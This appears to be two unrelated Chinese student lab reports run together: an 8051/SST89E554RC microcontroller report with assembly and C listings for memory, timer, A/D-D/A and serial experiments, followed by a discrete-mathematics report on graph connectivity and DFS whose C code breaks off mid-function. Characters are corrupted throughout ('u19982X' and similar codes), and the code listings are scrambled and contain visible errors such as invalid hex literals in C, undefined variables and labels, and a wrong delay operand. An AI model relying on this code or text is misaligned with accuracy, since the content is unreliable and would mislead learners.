采用开放的系统板结构,可以灵活地配合各型号接口实验平台开展单片机的应用教学。 中南大学信息科学与工程学院微控制器技术实验报告 4.丰富的实验内容 提供了丰富的原理及接口应用实验。配合接口实验平台可完成数字量输入/输出、中断、定时器/计数器、看门狗、低功耗、PCA、串口通讯、静态存储器、FLASH、A/D、D/A、键盘及数码显示、电子音响、点阵LED、LCD、步进电机、直流电机、温度控制等实验内容。 2、SST89E554RC简介 TD-51 系统板上提供了一片SST89E554RC,该器件是SST 公司推出的8 位微控制器FlashFlex51 家族中的一员,具有如下特征: ·u19982X8051 兼容,嵌入SuperFlash 存储器 - 软件完全兼容 - 开发工具兼容 - 引脚全兼容 ·u24037X作电压5V,工作时钟0~40MHz ·1Kbyte 内部RAM ·u20004X块SuperFlash EEPROM,主块32Kbyte,从块8Kbyte,扇区为128Byte ·u26377X三个高电流驱动端口(每个16mA)·u19977X个16 位的定时器/计数器 ·u20840X双工、增强型UART - 帧错误检测 - 自动地址识别 ·u20843X个中断源,四级优先级 ·u21487X编程看门狗定时器(WDT)·u21487X编程计数阵列(PCA)·u21452XDPTR 寄存器 ·u20302XEMI 模式(可禁止ALE)·SPI 串行接口 ·u26631X准每周期12 个时钟,器件提供选项可使速度倍增,达到每周期6 个时钟 ·u20302X功耗模式 - 掉电模式,可由外部中断唤醒 - 空闲模式 SST89E554RC 的功能框图如图1-2-1 所示,外部引脚如图1-2-2 所示。SST89E554RC 的特殊功能寄存器如表1-2-1 所列。 中南大学信息科学与工程学院微控制器技术实验报告 中南大学信息科学与工程学院微控制器技术实验报告 四、实验设计思想与结果分析 实验一到实验四为软件编程实验,需要熟练掌握KEIL uv2编程工具的使用,通过编写程序实现实验要求。实验四到实验八为硬件接口实验,需要利用TD-51系统板,通过KEIL uv2编写好程序,下载到所给的SST89E554RC单片机中,按原理接好硬件接线图,完成实验要求。 中南大学信息科学与工程学院微控制器技术实验报告 实验一 清零程序与拆字程序设计 实验调试步骤及结果分析: (1)编写好实验程序后,采用ISP模式调试。 (2)运行程序,使用Keil51模拟器中的虚拟存储器监视内容变化。(访问片外存储器,用“X:+地址”的格式)。 (3)在清零实验中。用单步跳过的调试方式。7000H-7FFFH中内容先被写入0FFH;然后全部清零。 (4)在拆子程序实验中,单步进入调试,先在7000H中,写入1FH,首先送低位0FH至7001H,然后送高位1H至7002H。 程序流程图: 清零程序流程图 拆字程序流程图 程序清单: 清零程序: 程序如下: ORG 0000H LJMP MAIN 中南大学信息科学与工程学院微控制器技术实验报告 ORG 0100H MAIN: MOV DPTR,#7000H;片内RAM首地址 MOV A, #01H;写入数据初值 MOV R6, #20H;循环变量 LOOP2: MOV R7, #80H LOOP1: MOVX @DPTR, A;写数据到RAM INC DPTR;地址加1 DJNZ R7, LOOP1 DJNZ R6, LOOP2 SJMP $ END 结果如下: 单步运行下,第一步为: 最后一步为: 8000h为0 拆字程序: ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV DPTR,#7000H;MOV A,#12H;MOVX @DPTR,A; RR A; RR A; RR A; RR A; ANL A,#0FH;高位送7001H低位 MOV DPTR,#7001H; MOVX @DPTR,A; 中南大学信息科学与工程学院微控制器技术实验报告 MOV DPTR,#7000H; MOVX A,@DPTR; ANL A,#0FH;低位送7002H低位 MOV DPTR,#7002H; MOVX @DPTR,A; SJMP $;设置断点, 观察实验结果中的内容 END 结果如下: 中南大学信息科学与工程学院微控制器技术实验报告 实验二 拼字程序与数据传送程序设计 实验步骤及结果分析: (1)编写好实验程序后,采用ISP模式调试。 (2)拼字程序里,将两个字节内容分别存为12H,34H。低位相拼,结果是24H。 (3)运行程序,使用Keil51模拟器中的虚拟存储器监视内容变化。(访问片外存储器,用“X:+地址”的格式)。 程序流程图: 拼字程序流程图 数据传输程序流程图 程序清单: ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV DPTR,#7000H;MOV A,#01H;MOVX @DPTR,A; 中南大学信息科学与工程学院微控制器技术实验报告 ANL A,#0FH;屏蔽高位 SWAP A;MOV B,A;MOV DPTR,#7001H;送7001H MOV A,#0AH;MOVX @DPTR,A;ANL A,#0FH;ORL A,B;拼送后送7002H MOV DPTR,#7002H;MOVX @DPTR,A;SJMP $;设置断点, 观察实验结果中的内容 END 结果如下: 数据传输程序 ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV R2,#70H;MOV R3,#00H;源地址 MOV R4,#71H;MOV R5,#00H;目的地址 MOV R6,#00H;MOV R7,#07H;传送个数 MOV R1,#10H;MOV R0,#07H;MOV DPH,R2;MOV DPL,R3;MOV A,R1;L0: MOVX @DPTR,A;INC DPTR;DJNZ R0,L0;赋值 L2: MOV R7,#0FFH;L1: MOV DPH,R2;MOV DPL,R3; 中南大学信息科学与工程学院微控制器技术实验报告 MOVX A,@DPTR;INC DPTR;MOV R2,DPH;MOV R3,DPL;MOV DPH,R4;MOV DPL,R5;MOVX @DPTR,A;INC DPTR;MOV R4,DPH;MOV R5,DPL;DJNZ R7,L1;DJNZ R6,L2;SJMP $ END 结果如下: 把7000h中的8个数据发给7100h中: 中南大学信息科学与工程学院微控制器技术实验报告 实验三 排序程序与散转程序设计 实验步骤及结果分析: 排序实验: (1)编写实验程序,编译、链接无误后联机调试; (2)为 30H~39H 赋初值,如:在命令行中键入 E CHAR D:30H=9, 11H, 5, 31H, 20H, 16H,1, 1AH, 3FH, 8 后回车,可将这 10 个数写入 30H~39H 中; (3)将光标移到语句行命令,将程序运行到该行; (4)查看存储器窗口中 30H~39H 中的内容,验证程序功能; (5)重新为 30H~39H 单元赋值,反复运行实验程序,验证程序的正确性。 实验流程图 程序清单: 散转程序: ORG 0000H LJMP MAIN ORG 0100H MAIN : MOV A,#01H MOV R2,A RL A ADD A,R2 MOV DPTR,#PTAB JMP @A+DPTR PTAB: LJMP PM0 LJMP PM1 中南大学信息科学与工程学院微控制器技术实验报告 LJMP PM2 LJMP PM3 PM0: [程序体0] PM1: [程序体1] PM2: [程序体2] PM3: [程序体3] SJMP $ END 冒泡排序子程序: ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV R0,#10H;MOV R7,#04H;ACALL MAOP SJMP $ MAOP: L1: MOV A,R0;MOV R1,A INC R1;MOV A,R7 MOV R6,A L2: MOV A,@R0 CLR C SUBB A,@R1;JC L3;MOV A,@R0;XCH A,@R1 MOV @R0,A L3: INC R1 DJNZ R6,L2;INC R0 DJNZ R7,L1;RET;END 初始地址 外循环次数(参与比较的数的个数-1)赋给初始地址 取第二个数的地址 两数进行比较 前数小于后数则保持位置不变 否则,交换位置 内循环是否完成 外循环是否完成 返回主程序 17 中南大学信息科学与工程学院微控制器技术实验报告 实验四 数字量输入输出实验 实验步骤:(1)按图11接好试验线路图,图中圆圈表示不要通过排线连接(2)编写实验程序,编译链接无误后进入调试状态(3)运行实验程序,观察实验现象,验证程序正确性(4)按复位键,结束程序运行,退出调试状态 实验硬件接线图: 程序清单: 基础部分: ORG 0000H LJMP MAIN ORG 0100H MAIN : MOV P1,#0FFH;初始化 MOV A,P1;将输入写进累加器A SWAP A ANL A,#0FH MOV P1,A;输出显示 LJMP MAIN;循环不断检测P1口输入端的新状态 SJMP $ END LED灯控制: ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV TMOD, #60H;设置T1为模式2,外部计数方式 MOV TH1,#0FFH;T1计数器赋初值 MOV TL1,#0FFH MOV DPTR,#7300H 中南大学信息科学与工程学院微控制器技术实验报告 MOV A,#80H MOVX @DPTR,A MOV DPTR,#7100H SETB TR1;开启计数器 LEFT: MOV R0,#08H;左循环 MOV A,#01H A1: MOVX @DPTR,A LCALL DELAY RL A DJNZ R0,A1 JBC TF1,RIGHT;JMP LEFT RIGHT: MOV R0,#08H;MOV A,#80H A2: MOVX @DPTR,A LCALL DELAY RR A DJNZ R0,A2 JBC TF1,SHANSHUO;JMP RIGHT SS: MOV R0,#08H;LP1: MOV A,#55H MOVX @DPTR,A LCALL DELAY MOV A,#0AAH MOVX @DPTR,A LCALL DELAY DJNZ R0,LP1 JBC TF1, LEFT;JMP SHANSHUO DELAY: MOV R1,#0FFH DEL1: MOV R2,0FFH DEL2: DJNZ R2, DEL2 DJNZ R1,DEL1 RET SJMP $ END 查询T1溢出标志,TF1=1时转移右循环 查询T1溢出标志,TF1=1时转移闪烁 查询T1溢出标志,TF1=1时转移 中南大学信息科学与工程学院微控制器技术实验报告 结果分析: 利用计数器T1外部技术方式,当外部输入脉冲引脚上出现电平负跳变时,T1计数器加一,溢出标志TF1置一,然后改变LED灯亮的方式,同时,将标志位TF1复位,进入下一轮的计数溢出等待。因此,而形成三种亮灯方式的自动循环。若是用开关实现三种方式的亮灯,则需要在最开始和每种亮灯之后通过8255对开关状态进行采集并进行判断。因此事先还要先设置好哪个开关的闭合表示哪种亮灯方式。 中南大学信息科学与工程学院微控制器技术实验报告 实验五 定时器/计数器实验 实验步骤: (1)编写实验程序,编译、链接后联机调试; (2)运行实验程序,使用示波器观察 P1.0引脚上的波形并记录周期;(3)改变计数初值,观察实验现象,验证程序功能。 实验硬件接线图: ○1 定时器LED控制PROTEUS仿真接线图 中南大学信息科学与工程学院微控制器技术实验报告 程序流程图: 程序清单: #include void main(){ unsigned char value, i;TMOD=0x01;TH0=0x4C;TL0=0x00;ET0=1;PT0=1;EA=1;TR0=1;while(1){ if(count==20)P1=05H;if(count==40)P1=0AH; 中南大学信息科学与工程学院微控制器技术实验报告 if(count==60)P1=50H;if(count==80)P1=0A0H;if(count==100)P1=55H;if(count==120)P1=0AAH;if(count==140)P1=0FFH;if(count==160)P1=00H; count=0;} } void Timer0()interrupt 1 { TR0=0;TH0=0x4C;TL0=0x00;TR0=1;count++; 中南大学信息科学与工程学院微控制器技术实验报告 实验六 A/D、D/A转换实验 实验接线图: 3LED灯PROTEUS仿真接线图 ○程序清单: PRO_DA EQU 7FFFH PRO_AD EQU 0BFFFH ORG 0000H SJMP MAIN ORG 001BH LJMP KEYSCAN ORG 0030H MAIN: SETB EA SETB EX1 SETB IT1 MOV P1,#0FH 中南大学信息科学与工程学院微控制器技术实验报告 TEST: L1: L2: L3: KEYSCAN: KEY1: MOV R3,#07FH MOV R4,#03H LOOP1: ANL A,#0FH KEY2: SJMP LOOP6 LOOP3: CJNE R2,#02H,LOOP4 LOOP4: SJMP LOOP6 LOOP5: LOOP6: MOV R5,#0FFH MOV R5,#03H CJNE R5,#01H,L1 LCALL SQUARE AJMP TEST CJNE R5,#02H,L2 LCALL TRIANGLE AJMP TEST CJNE R5,#03H,L3 LCALL SAWTOOTH AJMP TEST ACALL T12MS;MOV R6,A ACALL SCAN JNZ KEY1 SJMP EXIT MOV R2,A MOV P1,R3 MOV A,P1 CPL A JNZ KEY2 MOV A,R3 RR A MOV R3,A DJNZ R4,LOOP1 SJMP EXIT DEC R4 CJNE R2,#01H,LOOP3 MOV A,#01H MOV A,#04H SJMP LOOP6 CJNE R2,#04H,LOOP5 MOV A,#07H CJNE R2,#08H,LOOP6 MOV A,#0AH ADD A,R4 键盘扫描中断25 ; 中南大学信息科学与工程学院微控制器技术实验报告 MOV R5,A MOV P1,#0FH ;MOV A,R6 EXIT: RETI SCAN: MOV P1,#0FH MOV A,P1 CPL A ANL A,#0FH RET T12MS:MOV R7,#15H;12MS TM: MOV R6,#0FFH DJNZ R6,$ DJNZ R7,TM RET SQUARE: MOV DPTR,#PRO_DA MOV A,#0FFH MOVX @DPTR,A MOV DPTR,#0BFFFH MOVX @DPTR,A ACALL DELAY MOV A,#00H MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#0BFFFH MOVX @DPTR,A ACALL DELAY RET DELAY:MOV R0,#27H DEL1: MOV R1,#0FFH DJNZ R1,$ DJNZ R0,DEL1 RET 扫描周期20ms TRIANGLE:MOV A,#00H TLOOP:MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#PRO_AD MOVX @DPTR,A CJNE A,#0FFH,TLOOP2 ;延时后再次扫描有无按键按下 产生方波 产生三角波 时钟500KHz 幅值 ;D/A;D/A1mv 中南大学信息科学与工程学院微控制器技术实验报告 COUNT1:DEC A MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#PRO_AD MOVX @DPTR,A CJNE A,#00H,COUNT1 SJMP EXIT1 TLOOP2:INC A AJMP TLOOP EXIT1:RET SAWTOOTH: MOV A,#00H SLOOP:MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#PRO_AD MOVX @DPTR,A INC A CJNE A,#00H,SLOOP RET END 静态存储器扩展实验 1)程序如下: ORG 0000H LJMP MAIN ORG 0030H MAIN: MOV 8EH,02H MOV P1,# 0FFH CLR A MOV P1,A MOV R7,#10H MOV R0,#30H MOV A,#00H LOOP0: MOV @R0,A INC R0 INC A DJNZ R7,LOOP0 MOV R7,#10H MOV R0,#30H MOV R1,#40H MOV DPTR,#0000H LOOP1:MOV A,@R0 MOVX @DPTR,A 产生锯齿波27 ;D/A 中南大学信息科学与工程学院微控制器技术实验报告 MOV R2,A MOVX A,@DPTR00 结果分析: 实验主要是对输出波形的变化监视。三角波的产生原理与锯齿波相同,只需在锯齿波计数达到最大值0FFH时,再逐渐减1减小到00H(锯齿波产生则直接从0重新开始),如此反复。另外对波形影响较大的是保持时间,即实验中的delay()函数决定的延迟时间。 中南大学信息科学与工程学院微控制器技术实验报告 实验七 串行通讯实验 实验步骤: (1)串口通讯实验电路如图3-7-1 所示; (2)编写实验程序,经编译、链接无误后启动调试; (3)进入调试界面,点击命令,打开串口1 监视窗口; (4)运行实验程序,观察此时有如图3-7-2 所示输出; (5)阅读1.7 节的内容,首先将系统程序由SoftICE 切换到启动加载程序; (6)将编译生成的Hex 文件通过SSTEasyIAP11F.EXE 软件下载到单片机内部Flash 中; (7)复位单片机,打开超级终端或串口调试软件,将端口号及波特率等设置好,观察PC显示,如图3-7-3 和图3-7-4 所示; (8)实验结束,重新将SoftICE 下载到单片机系统区替换启动加载程序。 实验原理及原理图: MCS-51 单片机内部的全双工串行接口部分,包含有串行接收器和串行发送器。有两个物理上独立的接收缓冲器和发送缓冲器。接收缓冲器只能读出接收的数据,但不能写入。发送缓冲器只能写入发送的数据,但不能读出。因此可以同时收、发数据,实现全双工通讯。两个缓冲器是特殊功能寄存器SBUF,它们公用地址为99H,SBUF 是不可位寻址的。此外,还有两个寄存器SCON 和PCON 分别用于控制串行口的工作方式以及波特率,定时器T1 可以用作波特率发生器 SST89E554RC 提供了增强型全双工串行接口,具有帧错误检测和自动地址识别的功能。 由于SST89E554RC 的串口用作调试目的,所以Keil C51 软件提供了串口模拟窗口,可以借助此窗口调试串口通讯程序。也可以将程序编译生成目标代码(.HEX),脱机运行。 实验接线图: 中南大学信息科学与工程学院微控制器技术实验报告 ○1串行通讯仿真接线图 程序清单: AJMP MAIN ORG 0023H AJMP URT ORG 0030H MAIN: MOV P1,#00H LCALL URTINIT START: MOV P0,#0FH MOV A,P0 CPL A ANL A,#0FH JZ START LCALL DELAY MOV P0,#0FH MOV A,P0 ANL A,#0FH MOV R7,A MOV P0,#0F0H MOV A,P0 ANL A,#0F0H ORL A,R7 CJNE A,#0EEH,K1 中南大学信息科学与工程学院微控制器技术实验报告 MOV A,#30H MOV SBUF,A JNB TI,$ CLR TI K1: CJNE A,#0DEH,K2 MOV A,#31H MOV SBUF,A JNB TI,$ CLR TI K2: CJNE A,#0BEH,K3 MOV A,#39H MOV SBUF,A JNB TI,$ CLR TI KA: CJNE A,#0BBH,KB MOV A,#32H MOV SBUF,A JNB TI,$ CLR TI K3: CJNE A,#7EH,K4 MOV A,#33H MOV SBUF,A JNB TI,$ CLR TI K4: CJNE A,#0EDH,K5 MOV A,#34H MOV SBUF,A JNB TI,$ CLR TI K5: CJNE A,#0DDH,K6 MOV A,#35H MOV SBUF,A JNB TI,$ CLR TI K6: CJNE A,#0BDH,K7 MOV A,#36H MOV SBUF,A JNB TI,$ CLR TI K7: CJNE A,#7DH,K8 MOV A,#37H MOV SBUF,A JNB TI,$ CLR TI K8: CJNE A,#0EBH,K9 中南大学信息科学与工程学院微控制器技术实验报告 MOV A,#38H MOV SBUF,A JNB TI,$ CLR TI K9: CJNE A,#0DBH,KA MOV A,#41H MOV SBUF,A JNB TI,$ CLR TI KB: CJNE A,#7BH,KC MOV A,#42H MOV SBUF,A JNB TI,$ CLR TI KC: CJNE A,#0E7H,KD MOV A,#43H MOV SBUF,A JNB TI,$ CLR TI KD: CJNE A,#0D7H,KE MOV A,#44H MOV SBUF,A JNB TI,$ CLR TI KE: CJNE A,#0B7H,KF MOV A,#45H MOV SBUF,A JNB TI,$ CLR TI KF: CJNE A,#77H,K0 MOV A,#46H MOV SBUF,A JNB TI,$ CLR TI K0: LJMP START URTINIT: MOV SCON,#50H;设置成串口工作方式在8位URT MOV TMOD,#20H;设置T1为可重装8位定时器 MOV TL1,#0FDH;256-FOSC/BTL/32/12 MOV TH1,#0FDH SETB TR1;开启定时器 SETB ES;开启串口中断 SETB EA;开总中断 RET 中南大学信息科学与工程学院微控制器技术实验报告 URT: CLR C MOV A,SBUF;接收到数据后将数据返回 MOV P1,A NEXT1:CLR RI;清接收中断标志 RETI DELAY: MOV R6,#0ffh DEL1: MOV R5,#0ffh DJNZ R5,$ DJNZ R6,DEL1 RET END 结果分析:串行总线是单片机的特色。本实验通过两种方式验证的串口的通信。ISP模式下,采用计算机软件实现串口监视。另一种是指IAP模式下,对输入计算机串口的数据进行跟踪。串行通信的重点在于异步通信时波特率的选择,以及传送位数的规定。通过串口的通讯,计算机可以实现与D/A、A/D、PC机以及其他单片机的通信,还可以由不同的协议构成各种网络结构,方便了单片机系统的嵌入式应用。 中南大学信息科学与工程学院微控制器技术实验报告 五、实验总结 我觉得软件实验就是让我们初学者熟悉keil的使用,然后复习下汇编的思想和掌握程序的流程,所以软件实验可以很快的完成,并且慢慢熟悉调试的强大功能。硬件设计中,仿真让我很有感触,感觉蛮好玩的,可以摒弃麻烦的实验硬件自己在寝室玩而且不受硬件状态的限制,即便出错了也不会损坏。 在实验过程中,我还学到了一些简单的调试方法,设置断点调试,单步调试,全速调试等,而且还接触了一点PROTEUS软件仿真,这都对我们的提高有非常大的促进作用。通过实验,对单片机应用及编程了解得更加透彻,在实验中实现了自我能力的提升。最后,也非常感谢李老师的倾心教授。 离散数学实验报告(实验ABC) 专业班级 学生姓名 学生学号 指导老师 完成时间 离散数学实验三实验报告 目录 实验概述..........................................................................................................2 1.1 实验目的.........................................................................................................2 1.2 实验内容.........................................................................................................2 1.3 实验环境.........................................................................................................2 第二章 实验原理和实现过程......................................................................................3 2.1 实验原理.........................................................................................................3 2.1.1建立图的邻接矩阵,判断图是否连通................................................3 2.1.2 计算任意两个结点间的距离...............................................................3 2.1.3对不连通的图输出其各个连通支........................................................4 2.2 实验过程(算法描述).................................................................................4 2.2.1 程序整体思路.......................................................................................4 2.2.2具体算法流程........................................................................................4 第三章 实验数据及结果分析......................................................................................6 3.1建立图的邻接矩阵并判断图是否连通的功能测试及结果分析.................6 3.1.1输入无向图的边....................................................................................6 3.1.2建立图的连接矩阵................................................................................7 3.2 其他功能的功能测试和结果分析.................................................................8 3.2.1计算节点间的距离................................................................................8 3.2.2判断图的连通性....................................................................................8 3.2.3输出图的连通支....................................................................................9 3.2.4退出系统................................................................................................9 第四章 实验收获和心得体会....................................................................................10 4.1 实验收获.......................................................................................................10 4.2 心得体会.......................................................................................................11 第五章 实验源程序清单............................................................................................12 5.1 程序代码.......................................................................................................12 I 离散数学实验三实验报告 第一章 实验概述 1.1 实验目的 理解图论的基本概念,图的矩阵表示,图的连通性,图的遍历,以及求图的连通支方法。 通过实验,帮助学生更好地掌握计算机科学技术常用的离散数学中的概念、性质和运算,培养逻辑思维;通过实验提高学生编写实验报告、总结实验结果的能力,提高理论联系实际的能力;使学生具备程序设计的思想,能够独立完成简单的算法设计和分析。 1.2 实验内容 以偶对的形式输入一个无向简单图的边,建立该图的邻接矩阵,判断图是否连通(A),并计算任意两个结点间的距离(B),对不连通的图输出其各个连通支(C)。 注意:题目类型分为A,B,C三类,其中A为基本题,完成A类题目可达到设计的基本要求,其他均为加分题,并按字母顺序分数增加越高。 基本要求如下:程序需具有基本的容错控制,在输入错误时有处理手段;程序界面友好,需要输入的地方有输入说明,说明输入的内容和格式要求等;实验原理和实现过程应该详细分析问题,给出解决思路,描述算法思想,不能用源程序代替算法;测试数据应全面,包括非法输入的处理结果等都应包含在内。 1.3 实验环境 C或C++语言编程环境实现。离散数学实验三实验报告 第二章 实验原理和实现过程 2.1 实验原理 2.1.1建立图的邻接矩阵,判断图是否连通 根据图的矩阵表示法建立邻接矩阵A,并利用矩阵的乘法和加法求出可达矩阵,从而判断图的连通性。 连通图的定义:在一个无向图 G 中,若从顶点vi到顶点vj有路径相连(当然从vj到vi也一定有路径),则称vi和vj是连通的。如果 G 是有向图,那么连接vi和vj的路径中所有的边都必须同向。如果图中任意两点都是连通的,那么图被称作连通图。 判断连通图的实现:在图中,从任意点出发在剩余的点中,找到所有相邻点循环,直到没有点可以加入为止,如果有剩余的点就是不连通的,否则就是连通的。或者也可用WallShell算法,由图的邻接矩阵判断图是否连通。 2.1.2 计算任意两个结点间的距离 图中两点i,j间的距离通过检验Al中使得aij为1的最小的l值求出。路径P中所含边的条数称为路径P的长度。在图G 设图的邻接矩阵是A,则 所对应的aij的值表示,点Vi到点Vj距离为n的路径有aij条。 若aij(1),aij(2),…,aij(n-1),中至少有一个不为0,则可断定Vi与Vj可达,使aij(l)≠0的最小的l即为d(Vi,Vj)。 问题求解原理为: (1)先构造初始邻接矩阵A=Vij,Vij为顶点Vi到顶点Vj的权。如果Vi和Vj之间不存在弧段或者是负向回路或者是i=j,则令Vij其值为∞。 (2)再构造初始中间顶点矩阵。 (3)然后开始迭代计算(迭代的次数等于顶点的个数1)(4)最后查找Vi到Vj的最短路径。离散数学实验三实验报告 计算节点Vi与Vj之间的距离的方法为: 利用邻接矩阵相互间相乘后得到的矩阵来判断节点间的距离。如果c2[s][i][j]==0,则这两个节点的距离为无穷大。如果c2[s-2][i][j]==0,c2[s-1][i][j]==1时,则这两点间的距离为s。 2.1.3对不连通的图输出其各个连通支 图的连通支的求法则可采用图的遍历算法,图的遍历有深度优先和广度优先两种方法,其中深度优先算法又分为递归和非递归两种。 在无向图中,如果任何两点可达,则称图G是连通的,如果G的子图G’是连通的,没有包含G’的更大的子图G’’是连通的,则称G’是G的连通支。 当有判断出关系不是连通的之后,将需要求出分支模块 实现方法如下:先定义一个二维数组用来存放相应的分块,先选定一个点,并将它放在数组中,然后判断,如果后面的和他是联通的便将它也放在同一个数组中,否则将其存入其他的数组中,后面以此类推,在输出相应的数组,便可判断出连通分支。 2.2 实验过程(算法描述) 2.2.1 程序整体思路 本程序完成了实验所要求的全部功能,其基本思路是——“运用模块化的思想,将实现“求连通支”、“输入结点关系”、“输出邻接矩阵”、“显示两结点间的距离”、“求可达矩阵”和“图的遍历”的子函数分开编写,然后将它们以子函数的形式添加到主函数main的代码后面,在要使用相应的子函数时,进行子函数调用就可以实现相应的功能了。” 本程序的一大特色就是开发者灵活使用了C语言中的数组概念来进行开发,用数组来模拟矩阵的运算,通过相应的算法实现了全部的功能。2.2.2具体算法流程 在main(){系统界面显示;用do…while循环语句和switch语句实现功能liantongzhi(){求连通支,此子函数通过一个for循环控制遍历每个结点,并调1,2,3……的选择,并调用相关的子程序;用start、goto start实现控制流的转移;} 用函数DFS()求每个结点的连通支;} 离散数学实验三实验报告 DFS(int a){通过实参与形参,将结点数据代入函数;定义顺序栈变量;通过for循环初始化;为a置已访问标志,已经访问了的元素为1;定义顺序栈的第一个元素;通过while循环实现结点遍历,栈不为空时执行循环;栈顶元素赋值;通过for循环寻找v的下个未访问的邻接点;通过if条件句,若x,i是边和节点i未被访问过,处理结点的访问,并进行访问标志,进栈等操作;通过if条件句,若v已访问到的出点,则将其退栈;} shuru(){输入结点关系;通过for循环先将矩阵所有元素赋值0;再通过另一linjiejuzhen(){输出邻接矩阵;通过for循环,依次按格式输出邻接矩阵的元素;} julijuzhen(){根据A的n次方矩阵及其中元素,判断并显示两结点间的距离;for循环,根据输入结点的关系,将矩阵中相应的元素赋值,有关系则为1;} 调用子函数linjiejuzhen(),以确定并显示距离为1的两结点;通过for循环显示距离为1的结点对;再通过一系列的for循环,计算A的n次方矩阵并显示结果,根据其中的元素,判断并显示结点间的距离;详细算法请见附录相关部分的注释;} kedajuzhen(){求可达矩阵;通过一系列for循环,根据公式,计算可达矩阵;通过for循环,将矩阵中不为0的一切值赋为1以生成可达矩阵并显示;通过for循环和if条件句的组合,根据可达矩阵的元素特点,判断图的连通性,若可达矩阵矩阵中有0,则跳出循环,显示不可连接;根据判断结果显示内容,不可连通或可连通;} 离散数学实验三实验报告 第三章 实验数据及结果分析 3.1建立图的邻接矩阵并判断图是否连通的功能测试及结果分析 简单无向图的输入界面友好,有清楚的操作说明,方便用户进行使用。 这就是集合的输入界面。3.1.1输入无向图的边 当“6,5”时,表示输入的是六个节点五条边的树。 程序会在屏幕上显示输入节点间关系的界面,输入的关系为“1,2;2,3;3,4;4,5;5,6” 离散数学实验三实验报告 3.1.2建立图的连接矩阵 程序返回主界面后,选择“2”,程序会显示建立的连接矩阵。离散数学实验三实验报告 3.2 其他功能的功能测试和结果分析 3.2.1计算节点间的距离 当选择“3”时,程序便会输出各节点间的距离。 3.2.2判断图的连通性 当选择“4”时,程序会根据可达矩阵判断图的连通性。离散数学实验三实验报告 3.2.3输出图的连通支 当选择“5”时,程序会输出个连通支。 3.2.4退出系统 当选择“6”时,程序会退出系统。离散数学实验三实验报告 第四章 实验收获和心得体会 4.1 实验收获 这次离散数学实验是基于图论方面知识,以图的各种矩阵为基础,来研究图的一些性质、特点。 我独立完成了本次实验设计,实现了A、B、C三个功能,满足了实验的基本要求,心得如下。 通过这次实验,我学会了用C语言根据图的矩阵表示法建立邻接矩阵A,并利用矩阵的乘法和加法求出可达矩阵,从而判断图的连通性。巩固了课堂所学的图论方面的有关知识,并在实践中学到:图中两点i,j间的距离可以通过检验Al中使得aij为1的最小的l值求出;图的连通支的求法可采用图的遍历算法,图的遍历有深度优先和广度优先两种方法,其中深度优先算法又分为递归和非递归两种。我选择的算法是较为简单、易于实现的深度优先算法最简单,查阅了相关资料,掌握了此算法的核心,最后独立完成了本次实验设计。 这次离散数学实验,从拿到题目到完成整个编程,从理论到实践的日子里,我学到很多东西,不仅可以巩固了以前所学过的知识,而且通过查阅相关资料,学到了很多在书本上所没有学到过的知识。在这段时间里,我对于离散数学中的“逻辑”有了进一步的理解,对C语言的理解也更进了一步,并提高了编写实验报告、总结实验结果的能力,提高了理论联系实际的能力,初步具备程序设计的思想,能够独立完成简单的算法设计和分析。 感受最深的是,大量的上机实践是成为“编程高手”的必由之路,“质变”需要有“量”的积累。 完成程序的编写,决不意味着万事大吉。曾经自己认为万无一失的程序,实际上机运行时可能不断出现麻烦,如编译程序检测出一大堆错误。有时程序本身不存在语法错误,也能够顺利运行,但是运行结果显然是错误的。开发环境所提供的编译系统无法发现这种程序逻辑错误,只能靠自己的上机经验分析判断错误所在。有时候一个小小错误会消耗我好的时间去找,而高手一眼就看出错误所在,这就是熟练程度的不同,量变到质变的不同。离散数学实验三实验报告 4.2 心得体会 这次真的使我意识到了很多原来没有意识到的问题,有时候一些很小的问题,也会令人很是头痛。 在刚开始编写程序的时候,为了实现最基本的输入和输出功能,我却花了大量的时间在那上面。原因在后来查阅的很多资料后才知道的,像scanf函数之类的小函数,其实是还有很多需要注意的地方的。 之后,在编写数组和指针的过程中,花了很大的一部分时间去研发算法,开发程序,在理论上反复证明没有问题之后,再在计算机上进行操作,编写代码,进行调试,反复了很久,才慢慢的实现了全部的功能,真的是来之不易。在实验的过程中我们要培养自己的独立分析问题,和解决问题的能力。培养这种能力的前题是你对每次实验的态度。如果你在实验这方面很随便,抱着等老师教你怎么做,拿同学的报告去抄,尽管你的成绩会很高,但对将来工作是不利的。在写实验报告,对于思考题,有很多不懂,于是去问老师,老师的启发了我,其实答案早就摆在报告中的公式,电路图中,自己要学会思考。 最后,通过这次的实验我不但对理论知识有了更加深的理解,对于实际的操作和也有了质的飞跃。经过这次的实验,我们整体对各个方面都得到了不少的提高,希望以后学校和系里能够开设更多类似的实验,能够让我们得到更好的锻炼。离散数学实验三实验报告 第五章 实验源程序清单 5.1 程序代码 #include #define MAX 100/*宏定义*/ typedef struct { int elem[MAX]; int top;}SqStack;/*定义栈的结构体,顺序栈的类型标识符*/ void shuru();/*各子函数声明*/ void linjiejuzhen();void julijuzhen();void kedajuzhen();void liantongzhi();void DFS(int a); int A[9][9],B[9][9],C[9][9],D[9][9];int i,j,k,t,v,e;int main(){ int a1;离散数学实验三实验报告 printf(“*********************************************************************start: { printf(”n“);do **********n”); printf(“n”);printf(“tttt系 统 主 菜 单n”);printf(“ntt1.输入无向图的边ntt2.建立图的邻接矩阵ntt3.计算节点间的距离n”);printf(“tt4.由可达矩阵判断图的连通性ntt5.输出各个连通支(深度优先DFS法)ntt6.退出系统n”); printf(“********************************************************************* printf(”n“);***********n”); printf(“n”);printf(“ntttt请输入功能选项:”);fflush(stdin);/*清空输入缓冲区,通常是为了确保不影响后面的数据读取*/ scanf(“%d”,&a1);switch(a1)/*switch语句实现选择功能*/ { case 1:system(“cls”);shuru();break;/*输入节点关系,计算邻接矩阵*/ case 2:system(“cls”);fflush(stdin);linjiejuzhen();break;/*输出邻接矩阵*/ case 3:system(“cls”);fflush(stdin);julijuzhen();break;/*求距离矩阵*/ case 4:system(“cls”);fflush(stdin);kedajuzhen();break;/*求可达矩阵*/ 离散数学实验三实验报告 } void liantongzhi()/*求连通支,此子函数控制遍历每个结点*/ { } void DFS(int 